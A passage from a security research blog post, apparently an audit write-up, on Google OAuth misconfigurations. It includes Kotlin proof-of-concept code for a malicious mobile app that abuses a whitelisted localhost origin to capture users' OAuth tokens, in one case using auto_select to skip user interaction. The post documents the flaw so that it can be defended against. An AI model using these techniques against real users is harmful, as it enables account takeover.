Flow",{"type":23,"tag":32,"props":98405,"children":98406},{},[98407,98409,98414],{"type":29,"value":98408},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":23,"tag":38,"props":98410,"children":98412},{"className":98411},[],[98413],{"type":29,"value":68248},{"type":29,"value":98415}," provided in the URL and validated by a whitelist configuration:",{"type":23,"tag":116,"props":98417,"children":98418},{},[98419,98423,98444,98448],{"type":23,"tag":120,"props":98420,"children":98421},{},[98422],{"type":29,"value":98345},{"type":23,"tag":120,"props":98424,"children":98425},{},[98426,98427,98432,98433,98438,98439],{"type":29,"value":98350},{"type":23,"tag":55,"props":98428,"children":98430},{"href":98353,"rel":98429},[59],[98431],{"type":29,"value":98353},{"type":29,"value":98358},{"type":23,"tag":38,"props":98434,"children":98436},{"className":98435},[],[98437],{"type":29,"value":68080},{"type":29,"value":313},{"type":23,"tag":38,"props":98440,"children":98442},{"className":98441},[],[98443],{"type":29,"value":68248},{"type":23,"tag":120,"props":98445,"children":98446},{},[98447],{"type":29,"value":98374},{"type":23,"tag":120,"props":98449,"children":98450},{},[98451,98452,98457,98459],{"type":29,"value":98379},{"type":23,"tag":38,"props":98453,"children":98455},{"className":98454},[],[98456],{"type":29,"value":68248},{"type":29,"value":98458}," with the token in the query parameters or ",{"type":23,"tag":38,"props":98460,"children":98462},{"className":98461},[],[98463],{"type":29,"value":98464},"location.hash",{"type":23,"tag":17563,"props":98466,"children":98468},{"id":98467},"different-configurations",[98469],{"type":29,"value":98470},"Different Configurations",{"type":23,"tag":32,"props":98472,"children":98473},{},[98474],{"type":29,"value":98475},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":23,"tag":15362,"props":98477,"children":98478},{},[98479,98484],{"type":23,"tag":120,"props":98480,"children":98481},{},[98482],{"type":29,"value":98483},"Authorized origins",{"type":23,"tag":120,"props":98485,"children":98486},{},[98487],{"type":29,"value":98488},"Authorized redirect URIs",{"type":23,"tag":32,"props":98490,"children":98491},{},[98492],{"type":23,"tag":2591,"props":98493,"children":98495},{"alt":49057,"src":98494},"/posts/oauth-misconfigurations/image3.png",[],{"type":23,"tag":32,"props":98497,"children":98498},{},[98499,98501,98506],{"type":29,"value":98500},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":23,"tag":38,"props":98502,"children":98504},{"className":98503},[],[98505],{"type":29,"value":68080},{"type":29,"value":322},{"type":23,"tag":32,"props":98508,"children":98509},{},[98510,98512,98518,98520,98525],{"type":29,"value":98511},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":23,"tag":38,"props":98513,"children":98515},{"className":98514},[],[98516],{"type":29,"value":98517},"/oauth2/v2/auth",{"type":29,"value":98519}," by checking the ",{"type":23,"tag":38,"props":98521,"children":98523},{"className":98522},[],[98524],{"type":29,"value":38607},{"type":29,"value":98526}," query parameter.",{"type":23,"tag":32,"props":98528,"children":98529},{},[98530,98532,98537,98539,98544],{"type":29,"value":98531},"In the old flow, the ",{"type":23,"tag":38,"props":98533,"children":98535},{"className":98534},[],[98536],{"type":29,"value":68248},{"type":29,"value":98538}," parameter passed in the ",{"type":23,"tag":38,"props":98540,"children":98542},{"className":98541},[],[98543],{"type":29,"value":98517},{"type":29,"value":98545}," endpoint is validated against the authorized redirect URIs.",{"type":23,"tag":32,"props":98547,"children":98548},{},[98549,98551,98556,98558,98565],{"type":29,"value":98550},"Note that the new GSI flow can also have a different flow using ",{"type":23,"tag":38,"props":98552,"children":98554},{"className":98553},[],[98555],{"type":29,"value":68248},{"type":29,"value":98557}," validation. To execute this flow, you need to specify ",{"type":23,"tag":55,"props":98559,"children":98562},{"href":98560,"rel":98561},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[59],[98563],{"type":29,"value":98564},"login_uri",{"type":29,"value":98566}," while using the SDK.",{"type":23,"tag":8287,"props":98568,"children":98570},{"id":98569},"localhost-exploit",[98571],{"type":29,"value":98572},"Localhost Exploit",{"type":23,"tag":32,"props":98574,"children":98575},{},[98576,98578,98584],{"type":29,"value":98577},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":23,"tag":38,"props":98579,"children":98581},{"className":98580},[],[98582],{"type":29,"value":98583},"localhost",{"type":29,"value":98585}," origin because it is considered trusted for local testing.",{"type":23,"tag":32,"props":98587,"children":98588},{},[98589],{"type":29,"value":98590},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":23,"tag":17563,"props":98592,"children":98594},{"id":98593},"exploit",[98595],{"type":29,"value":98596},"Exploit",{"type":23,"tag":32,"props":98598,"children":98599},{},[98600,98602,98607,98608,98614],{"type":29,"value":98601},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":23,"tag":38,"props":98603,"children":98605},{"className":98604},[],[98606],{"type":29,"value":98464},{"type":29,"value":11812},{"type":23,"tag":38,"props":98609,"children":98611},{"className":98610},[],[98612],{"type":29,"value":98613},"location.search",{"type":29,"value":98615},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":23,"tag":131,"props":98617,"children":98621},{"className":98618,"code":98619,"language":98620,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.hash;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n","kt",[98622],{"type":23,"tag":38,"props":98623,"children":98624},{"__ignoreMap":7},[98625,98654,98673,98680,98687,98706,98717,98728,98759,98782,98829,98836,98843,98850,98857,98877,98908,98919,98926,98933,98952,98975,98986,99005,99020,99031,99054,99089,99108,99115,99126,99149,99160,99172,99179,99186,99193,99200,99207,99234],{"type":23,"tag":141,"props":98626,"children":98627},{"class":143,"line":144},[98628,98633,98637,98641,98645,98649],{"type":23,"tag":141,"props":98629,"children":98630},{"style":449},[98631],{"type":29,"value":98632}," override",{"type":23,"tag":141,"props":98634,"children":98635},{"style":449},[98636],{"type":29,"value":4881},{"type":23,"tag":141,"props":98638,"children":98639},{"style":184},[98640],{"type":29,"value":68936},{"type":23,"tag":141,"props":98642,"children":98643},{"style":154},[98644],{"type":29,"value":68941},{"type":23,"tag":141,"props":98646,"children":98647},{"style":725},[98648],{"type":29,"value":68946},{"type":23,"tag":141,"props":98650,"children":98651},{"style":154},[98652],{"type":29,"value":98653},"?){\n",{"type":23,"tag":141,"props":98655,"children":98656},{"class":143,"line":180},[98657,98661,98665,98669],{"type":23,"tag":141,"props":98658,"children":98659},{"style":449},[98660],{"type":29,"value":68959},{"type":23,"tag":141,"props":98662,"children":98663},{"style":154},[98664],{"type":29,"value":322},{"type":23,"tag":141,"props":98666,"children":98667},{"style":184},[98668],{"type":29,"value":68968},{"type":23,"tag":141,"props":98670,"children":98671},{"style":154},[98672],{"type":29,"value":68973},{"type":23,"tag":141,"props":98674,"children":98675},{"class":143,"line":205},[98676],{"type":23,"tag":141,"props":98677,"children":98678},{"emptyLinePlaceholder":15},[98679],{"type":29,"value":719},{"type":23,"tag":141,"props":98681,"children":98682},{"class":143,"line":218},[98683],{"type":23,"tag":141,"props":98684,"children":98685},{"style":443},[98686],{"type":29,"value":68988},{"type":23,"tag":141,"props":98688,"children":98689},{"class":143,"line":227},[98690,98694,98698,98702],{"type":23,"tag":141,"props":98691,"children":98692},{"style":184},[98693],{"type":29,"value":68996},{"type":23,"tag":141,"props":98695,"children":98696},{"style":154},[98697],{"type":29,"value":69001},{"type":23,"tag":141,"props":98699,"children":98700},{"style":184},[98701],{"type":29,"value":69006},{"type":23,"tag":141,"props":98703,"children":98704},{"style":154},[98705],{"type":29,"value":1951},{"type":23,"tag":141,"props":98707,"children":98708},{"class":143,"line":241},[98709,98713],{"type":23,"tag":141,"props":98710,"children":98711},{"style":148},[98712],{"type":29,"value":69018},{"type":23,"tag":141,"props":98714,"children":98715},{"style":154},[98716],{"type":29,"value":1951},{"type":23,"tag":141,"props":98718,"children":98719},{"class":143,"line":262},[98720,98724],{"type":23,"tag":141,"props":98721,"children":98722},{"style":184},[98723],{"type":29,"value":69030},{"type":23,"tag":141,"props":98725,"children":98726},{"style":154},[98727],{"type":29,"value":6410},{"type":23,"tag":141,"props":98729,"children":98730},{"class":143,"line":271},[98731,98735,98739,98743,98747,98751,98755],{"type":23,"tag":141,"props":98732,"children":98733},{"style":154},[98734],{"type":29,"value":69042},{"type":23,"tag":141,"props":98736,"children":98737},{"style":184},[98738],{"type":29,"value":69047},{"type":23,"tag":141,"props":98740,"children":98741},{"style":154},[98742],{"type":29,"value":192},{"type":23,"tag":141,"props":98744,"children":98745},{"style":828},[98746],{"type":29,"value":69056},{"type":23,"tag":141,"props":98748,"children":98749},{"style":154},[98750],{"type":29,"value":480},{"type":23,"tag":141,"props":98752,"children":98753},{"style":828},[98754],{"type":29,"value":69065},{"type":23,"tag":141,"props":98756,"children":98757},{"style":154},[98758],{"type":29,"value":758},{"type":23,"tag":141,"props":98760,"children":98761},{"class":143,"line":293},[98762,98766,98770,98774,98778],{"type":23,"tag":141,"props":98763,"children":98764},{"style":154},[98765],{"type":29,"value":69077},{"type":23,"tag":141,"props":98767,"children":98768},{"style":449},[98769],{"type":29,"value":46889},{"type":23,"tag":141,"props":98771,"children":98772},{"style":154},[98773],{"type":29,"value":69086},{"type":23,"tag":141,"props":98775,"children":98776},{"style":725},[98777],{"type":29,"value":69091},{"type":23,"tag":141,"props":98779,"children":98780},{"style":154},[98781],{"type":29,"value":13480},{"type":23,"tag":141,"props":98783,"children":98784},{"class":143,"line":801},[98785,98789,98793,98797,98801,98805,98809,98813,98817,98821,98825],{"type":23,"tag":141,"props":98786,"children":98787},{"style":154},[98788],{"type":29,"value":69042},{"type":23,"tag":141,"props":98790,"children":98791},{"style":184},[98792],{"type":29,"value":49933},{"type":23,"tag":141,"props":98794,"children":98795},{"style":154},[98796],{"type":29,"value":192},{"type":23,"tag":141,"props":98798,"children":98799},{"style":828},[98800],{"type":29,"value":69056},{"type":23,"tag":141,"props":98802,"children":98803},{"style":154},[98804],{"type":29,"value":480},{"type":23,"tag":141,"props":98806,"children":98807},{"style":828},[98808],{"type":29,"value":69123},{"type":23,"tag":141,"props":98810,"children":98811},{"style":449},[98812],{"type":29,"value":32578},{"type":23,"tag":141,"props":98814,"children":98815},{"style":160},[98816],{"type":29,"value":69132},{"type":23,"tag":141,"props":98818,"children":98819},{"style":449},[98820],{"type":29,"value":32610},{"type":23,"tag":141,"props":98822,"children":98823},{"style":828},[98824],{"type":29,"value":18731},{"type":23,"tag":141,"props":98826,"children":98827},{"style":154},[98828],{"type":29,"value":69145},{"type":23,"tag":141,"props":98830,"children":98831},{"class":143,"line":810},[98832],{"type":23,"tag":141,"props":98833,"children":98834},{"style":154},[98835],{"type":29,"value":57365},{"type":23,"tag":141,"props":98837,"children":98838},{"class":143,"line":824},[98839],{"type":23,"tag":141,"props":98840,"children":98841},{"style":154},[98842],{"type":29,"value":2008},{"type":23,"tag":141,"props":98844,"children":98845},{"class":143,"line":839},[98846],{"type":23,"tag":141,"props":98847,"children":98848},{"emptyLinePlaceholder":15},[98849],{"type":29,"value":719},{"type":23,"tag":141,"props":98851,"children":98852},{"class":143,"line":848},[98853],{"type":23,"tag":141,"props":98854,"children":98855},{"style":443},[98856],{"type":29,"value":69174},{"type":23,"tag":141,"props":98858,"children":98859},{"class":143,"line":2304},[98860,98864,98868,98872],{"type":23,"tag":141,"props":98861,"children":98862},{"style":449},[98863],{"type":29,"value":69182},{"type":23,"tag":141,"props":98865,"children":98866},{"style":154},[98867],{"type":29,"value":69187},{"type":23,"tag":141,"props":98869,"children":98870},{"style":160},[98871],{"type":29,"value":1377},{"type":23,"tag":141,"props":98873,"children":98874},{"style":828},[98875],{"type":29,"value":98876}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":141,"props":98878,"children":98879},{"class":143,"line":2313},[98880,98884,98888,98892,98896,98900,98904],{"type":23,"tag":141,"props":98881,"children":98882},{"style":449},[98883],{"type":29,"value":69182},{"type":23,"tag":141,"props":98885,"children":98886},{"style":154},[98887],{"type":29,"value":69208},{"type":23,"tag":141,"props":98889,"children":98890},{"style":160},[98891],{"type":29,"value":1377},{"type":23,"tag":141,"props":98893,"children":98894},{"style":184},[98895],{"type":29,"value":69217},{"type":23,"tag":141,"props":98897,"children":98898},{"style":154},[98899],{"type":29,"value":69222},{"type":23,"tag":141,"props":98901,"children":98902},{"style":184},[98903],{"type":29,"value":37683},{"type":23,"tag":141,"props":98905,"children":98906},{"style":154},[98907],{"type":29,"value":69231},{"type":23,"tag":141,"props":98909,"children":98910},{"class":143,"line":2335},[98911,98915],{"type":23,"tag":141,"props":98912,"children":98913},{"style":184},[98914],{"type":29,"value":69239},{"type":23,"tag":141,"props":98916,"children":98917},{"style":154},[98918],{"type":29,"value":69244},{"type":23,"tag":141,"props":98920,"children":98921},{"class":143,"line":2343},[98922],{"type":23,"tag":141,"props":98923,"children":98924},{"style":154},[98925],{"type":29,"value":299},{"type":23,"tag":141,"props":98927,"children":98928},{"class":143,"line":2352},[98929],{"type":23,"tag":141,"props":98930,"children":98931},{"emptyLinePlaceholder":15},[98932],{"type":29,"value":719},{"type":23,"tag":141,"props":98934,"children":98935},{"class":143,"line":2421},[98936,98940,98944,98948],{"type":23,"tag":141,"props":98937,"children":98938},{"style":449},[98939],{"type":29,"value":69266},{"type":23,"tag":141,"props":98941,"children":98942},{"style":449},[98943],{"type":29,"value":4881},{"type":23,"tag":141,"props":98945,"children":98946},{"style":184},[98947],{"type":29,"value":69275},{"type":23,"tag":141,"props":98949,"children":98950},{"style":154},[98951],{"type":29,"value":14412},{"type":23,"tag":141,"props":98953,"children":98954},{"class":143,"line":2429},[98955,98959,98963,98967,98971],{"type":23,"tag":141,"props":98956,"children":98957},{"style":184},[98958],{"type":29,"value":69287},{"type":23,"tag":141,"props":98960,"children":98961},{"style":154},[98962],{"type":29,"value":69292},{"type":23,"tag":141,"props":98964,"children":98965},{"style":160},[98966],{"type":29,"value":1377},{"type":23,"tag":141,"props":98968,"children":98969},{"style":472},[98970],{"type":29,"value":69301},{"type":23,"tag":141,"props":98972,"children":98973},{"style":154},[98974],{"type":29,"value":13480},{"type":23,"tag":141,"props":98976,"children":98977},{"class":143,"line":2459},[98978,98982],{"type":23,"tag":141,"props":98979,"children":98980},{"style":184},[98981],{"type":29,"value":69313},{"type":23,"tag":141,"props":98983,"children":98984},{"style":154},[98985],{"type":29,"value":1951},{"type":23,"tag":141,"props":98987,"children":98988},{"class":143,"line":2467},[98989,98993,98997,99001],{"type":23,"tag":141,"props":98990,"children":98991},{"style":449},[98992],{"type":29,"value":69325},{"type":23,"tag":141,"props":98994,"children":98995},{"style":154},[98996],{"type":29,"value":192},{"type":23,"tag":141,"props":98998,"children":98999},{"style":828},[99000],{"type":29,"value":69334},{"type":23,"tag":141,"props":99002,"children":99003},{"style":154},[99004],{"type":29,"value":13480},{"type":23,"tag":141,"props":99006,"children":99007},{"class":143,"line":2499},[99008,99012,99016],{"type":23,"tag":141,"props":99009,"children":99010},{"style":154},[99011],{"type":29,"value":69346},{"type":23,"tag":141,"props":99013,"children":99014},{"style":184},[99015],{"type":29,"value":69351},{"type":23,"tag":141,"props":99017,"children":99018},{"style":154},[99019],{"type":29,"value":1951},{"type":23,"tag":141,"props":99021,"children":99022},{"class":143,"line":2507},[99023,99027],{"type":23,"tag":141,"props":99024,"children":99025},{"style":184},[99026],{"type":29,"value":69363},{"type":23,"tag":141,"props":99028,"children":99029},{"style":154},[99030],{"type":29,"value":1951},{"type":23,"tag":141,"props":99032,"children":99033},{"class":143,"line":2567},[99034,99038,99042,99046,99050],{"type":23,"tag":141,"props":99035,"children":99036},{"style":184},[99037],{"type":29,"value":69375},{"type":23,"tag":141,"props":99039,"children":99040},{"style":154},[99041],{"type":29,"value":69380},{"type":23,"tag":141,"props":99043,"children":99044},{"style":160},[99045],{"type":29,"value":1377},{"type":23,"tag":141,"props":99047,"children":99048},{"style":828},[99049],{"type":29,"value":69389},{"type":23,"tag":141,"props":99051,"children":99052},{"style":154},[99053],{"type":29,"value":758},{"type":23,"tag":141,"props":99055,"children":99056},{"class":143,"line":7724},[99057,99061,99065,99069,99073,99077,99081,99085],{"type":23,"tag":141,"props":99058,"children":99059},{"style":184},[99060],{"type":29,"value":69375},{"type":23,"tag":141,"props":99062,"children":99063},{"style":154},[99064],{"type":29,"value":69405},{"type":23,"tag":141,"props":99066,"children":99067},{"style":160},[99068],{"type":29,"value":1377},{"type":23,"tag":141,"props":99070,"children":99071},{"style":828},[99072],{"type":29,"value":69414},{"type":23,"tag":141,"props":99074,"children":99075},{"style":154},[99076],{"type":29,"value":69419},{"type":23,"tag":141,"props":99078,"children":99079},{"style":160},[99080],{"type":29,"value":1377},{"type":23,"tag":141,"props":99082,"children":99083},{"style":828},[99084],{"type":29,"value":69428},{"type":23,"tag":141,"props":99086,"children":99087},{"style":154},[99088],{"type":29,"value":758},{"type":23,"tag":141,"props":99090,"children":99091},{"class":143,"line":7742},[99092,99096,99100,99104],{"type":23,"tag":141,"props":99093,"children":99094},{"style":184},[99095],{"type":29,"value":69440},{"type":23,"tag":141,"props":99097,"children":99098},{"style":154},[99099],{"type":29,"value":192},{"type":23,"tag":141,"props":99101,"children":99102},{"style":828},[99103],{"type":29,"value":69449},{"type":23,"tag":141,"props":99105,"children":99106},{"style":154},[99107],{"type":29,"value":758},{"type":23,"tag":141,"props":99109,"children":99110},{"class":143,"line":7787},[99111],{"type":23,"tag":141,"props":99112,"children":99113},{"style":154},[99114],{"type":29,"value":69461},{"type":23,"tag":141,"props":99116,"children":99117},{"class":143,"line":7893},[99118,99122],{"type":23,"tag":141,"props":99119,"children":99120},{"style":184},[99121],{"type":29,"value":69469},{"type":23,"tag":141,"props":99123,"children":99124},{"style":154},[99125],{"type":29,"value":1951},{"type":23,"tag":141,"props":99127,"children":99128},{"class":143,"line":22181},[99129,99133,99137,99141,99145],{"type":23,"tag":141,"props":99130,"children":99131},{"style":184},[99132],{"type":29,"value":69481},{"type":23,"tag":141,"props":99134,"children":99135},{"style":154},[99136],{"type":29,"value":8264},{"type":23,"tag":141,"props":99138,"children":99139},{"style":160},[99140],{"type":29,"value":3058},{"type":23,"tag":141,"props":99142,"children":99143},{"style":828},[99144],{"type":29,"value":69494},{"type":23,"tag":141,"props":99146,"children":99147},{"style":154},[99148],{"type":29,"value":8274},{"type":23,"tag":141,"props":99150,"children":99151},{"class":143,"line":22216},[99152,99156],{"type":23,"tag":141,"props":99153,"children":99154},{"style":184},[99155],{"type":29,"value":69506},{"type":23,"tag":141,"props":99157,"children":99158},{"style":154},[99159],{"type":29,"value":1951},{"type":23,"tag":141,"props":99161,"children":99162},{"class":143,"line":22224},[99163,99167],{"type":23,"tag":141,"props":99164,"children":99165},{"style":160},[99166],{"type":29,"value":69518},{"type":23,"tag":141,"props":99168,"children":99169},{"style":828},[99170],{"type":29,"value":99171},"\"document.body.innerText = location.hash;\"\n",{"type":23,"tag":141,"props":99173,"children":99174},{"class":143,"line":22232},[99175],{"type":23,"tag":141,"props":99176,"children":99177},{"style":154},[99178],{"type":29,"value":69531},{"type":23,"tag":141,"props":99180,"children":99181},{"class":143,"line":22241},[99182],{"type":23,"tag":141,"props":99183,"children":99184},{"style":154},[99185],{"type":29,"value":69461},{"type":23,"tag":141,"props":99187,"children":99188},{"class":143,"line":22283},[99189],{"type":23,"tag":141,"props":99190,"children":99191},{"style":154},[99192],{"type":29,"value":69546},{"type":23,"tag":141,"props":99194,"children":99195},{"class":143,"line":22316},[99196],{"type":23,"tag":141,"props":99197,"children":99198},{"style":154},[99199],{"type":29,"value":69554},{"type":23,"tag":141,"props":99201,"children":99202},{"class":143,"line":22324},[99203],{"type":23,"tag":141,"props":99204,"children":99205},{"style":154},[99206],{"type":29,"value":57365},{"type":23,"tag":141,"props":99208,"children":99209},{"class":143,"line":22332},[99210,99214,99218,99222,99226,99230],{"type":23,"tag":141,"props":99211,"children":99212},{"style":154},[99213],{"type":29,"value":69569},{"type":23,"tag":141,"props":99215,"children":99216},{"style":184},[99217],{"type":29,"value":69574},{"type":23,"tag":141,"props":99219,"children":99220},{"style":154},[99221],{"type":29,"value":69579},{"type":23,"tag":141,"props":99223,"children":99224},{"style":160},[99225],{"type":29,"value":1377},{"type":23,"tag":141,"props":99227,"children":99228},{"style":449},[99229],{"type":29,"value":11148},{"type":23,"tag":141,"props":99231,"children":99232},{"style":154},[99233],{"type":29,"value":758},{"type":23,"tag":141,"props":99235,"children":99236},{"class":143,"line":22341},[99237],{"type":23,"tag":141,"props":99238,"children":99239},{"style":154},[99240],{"type":29,"value":299},{"type":23,"tag":32,"props":99242,"children":99243},{},[99244],{"type":29,"value":99245},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":23,"tag":32,"props":99247,"children":99248},{},[99249,99251,99257],{"type":29,"value":99250},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":23,"tag":38,"props":99252,"children":99254},{"className":99253},[],[99255],{"type":29,"value":99256},"auto_select",{"type":29,"value":99258}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":23,"tag":131,"props":99260,"children":99262},{"className":98618,"code":99261,"language":98620,"meta":7,"style":7}," override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n title(\"Test\")\n script {\n src = \"https://accounts.google.com/gsi/client\"\n attributes[\"async\"] = \"\"\n attributes[\"defer\"] = \"\"\n }\n script {\n unsafe {\n +\"\"\"\n function handleCredentialResponse(response) {\n alert(\"credential: \" + response.credential);\n }\n\n window.onload = async function () {\n const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n const client_id = oauth_url.searchParams.get(\"client_id\");\n google.accounts.id.initialize({\n client_id: client_id,\n callback: handleCredentialResponse,\n auto_select: true\n });\n\n google.accounts.id.renderButton(\n document.getElementById(\"g_id_signin\"),\n { theme: \"outline\", size: \"large\" }\n );\n\n google.accounts.id.prompt();\n };\n \"\"\".trimIndent()\n }\n }\n }\n body {\n h1 { +\"Login here:\" }\n div {\n id = \"g_id_signin\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n",[99263],{"type":23,"tag":38,"props":99264,"children":99265},{"__ignoreMap":7},[99266,99293,99312,99319,99338,99349,99360,99391,99414,99461,99468,99475,99482,99522,99533,99540,99547,99566,99589,99600,99619,99634,99645,99665,99676,99693,99719,99743,99750,99761,99773,99786,99794,99802,99809,99816,99824,99832,99840,99848,99856,99864,99872,99879,99886,99894,99902,99910,99917,99924,99932,99939,99960,99968,99975,99982,99993,100017,100029,100046,100053,100060,100068,100076,100084,100112],{"type":23,"tag":141,"props":99267,"children":99268},{"class":143,"line":144},[99269,99273,99277,99281,99285,99289],{"type":23,"tag":141,"props":99270,"children":99271},{"style":449},[99272],{"type":29,"value":68927},{"type":23,"tag":141,"props":99274,"children":99275},{"style":449},[99276],{"type":29,"value":4881},{"type":23,"tag":141,"props":99278,"children":99279},{"style":184},[99280],{"type":29,"value":68936},{"type":23,"tag":141,"props":99282,"children":99283},{"style":154},[99284],{"type":29,"value":68941},{"type":23,"tag":141,"props":99286,"children":99287},{"style":725},[99288],{"type":29,"value":68946},{"type":23,"tag":141,"props":99290,"children":99291},{"style":154},[99292],{"type":29,"value":68951},{"type":23,"tag":141,"props":99294,"children":99295},{"class":143,"line":180},[99296,99300,99304,99308],{"type":23,"tag":141,"props":99297,"children":99298},{"style":449},[99299],{"type":29,"value":68959},{"type":23,"tag":141,"props":99301,"children":99302},{"style":154},[99303],{"type":29,"value":322},{"type":23,"tag":141,"props":99305,"children":99306},{"style":184},[99307],{"type":29,"value":68968},{"type":23,"tag":141,"props":99309,"children":99310},{"style":154},[99311],{"type":29,"value":68973},{"type":23,"tag":141,"props":99313,"children":99314},{"class":143,"line":205},[99315],{"type":23,"tag":141,"props":99316,"children":99317},{"emptyLinePlaceholder":15},[99318],{"type":29,"value":719},{"type":23,"tag":141,"props":99320,"children":99321},{"class":143,"line":218},[99322,99326,99330,99334],{"type":23,"tag":141,"props":99323,"children":99324},{"style":184},[99325],{"type":29,"value":68996},{"type":23,"tag":141,"props":99327,"children":99328},{"style":154},[99329],{"type":29,"value":69001},{"type":23,"tag":141,"props":99331,"children":99332},{"style":184},[99333],{"type":29,"value":69006},{"type":23,"tag":141,"props":99335,"children":99336},{"style":154},[99337],{"type":29,"value":1951},{"type":23,"tag":141,"props":99339,"children":99340},{"class":143,"line":227},[99341,99345],{"type":23,"tag":141,"props":99342,"children":99343},{"style":148},[99344],{"type":29,"value":69018},{"type":23,"tag":141,"props":99346,"children":99347},{"style":154},[99348],{"type":29,"value":1951},{"type":23,"tag":141,"props":99350,"children":99351},{"class":143,"line":241},[99352,99356],{"type":23,"tag":141,"props":99353,"children":99354},{"style":184},[99355],{"type":29,"value":69030},{"type":23,"tag":141,"props":99357,"children":99358},{"style":154},[99359],{"type":29,"value":6410},{"type":23,"tag":141,"props":99361,"children":99362},{"class":143,"line":262},[99363,99367,99371,99375,99379,99383,99387],{"type":23,"tag":141,"props":99364,"children":99365},{"style":154},[99366],{"type":29,"value":69042},{"type":23,"tag":141,"props":99368,"children":99369},{"style":184},[99370],{"type":29,"value":69047},{"type":23,"tag":141,"props":99372,"children":99373},{"style":154},[99374],{"type":29,"value":192},{"type":23,"tag":141,"props":99376,"children":99377},{"style":828},[99378],{"type":29,"value":69056},{"type":23,"tag":141,"props":99380,"children":99381},{"style":154},[99382],{"type":29,"value":480},{"type":23,"tag":141,"props":99384,"children":99385},{"style":828},[99386],{"type":29,"value":69065},{"type":23,"tag":141,"props":99388,"children":99389},{"style":154},[99390],{"type":29,"value":758},{"type":23,"tag":141,"props":99392,"children":99393},{"class":143,"line":271},[99394,99398,99402,99406,99410],{"type":23,"tag":141,"props":99395,"children":99396},{"style":154},[99397],{"type":29,"value":69077},{"type":23,"tag":141,"props":99399,"children":99400},{"style":449},[99401],{"type":29,"value":46889},{"type":23,"tag":141,"props":99403,"children":99404},{"style":154},[99405],{"type":29,"value":69086},{"type":23,"tag":141,"props":99407,"children":99408},{"style":725},[99409],{"type":29,"value":69091},{"type":23,"tag":141,"props":99411,"children":99412},{"style":154},[99413],{"type":29,"value":13480},{"type":23,"tag":141,"props":99415,"children":99416},{"class":143,"line":293},[99417,99421,99425,99429,99433,99437,99441,99445,99449,99453,99457],{"type":23,"tag":141,"props":99418,"children":99419},{"style":154},[99420],{"type":29,"value":69042},{"type":23,"tag":141,"props":99422,"children":99423},{"style":184},[99424],{"type":29,"value":49933},{"type":23,"tag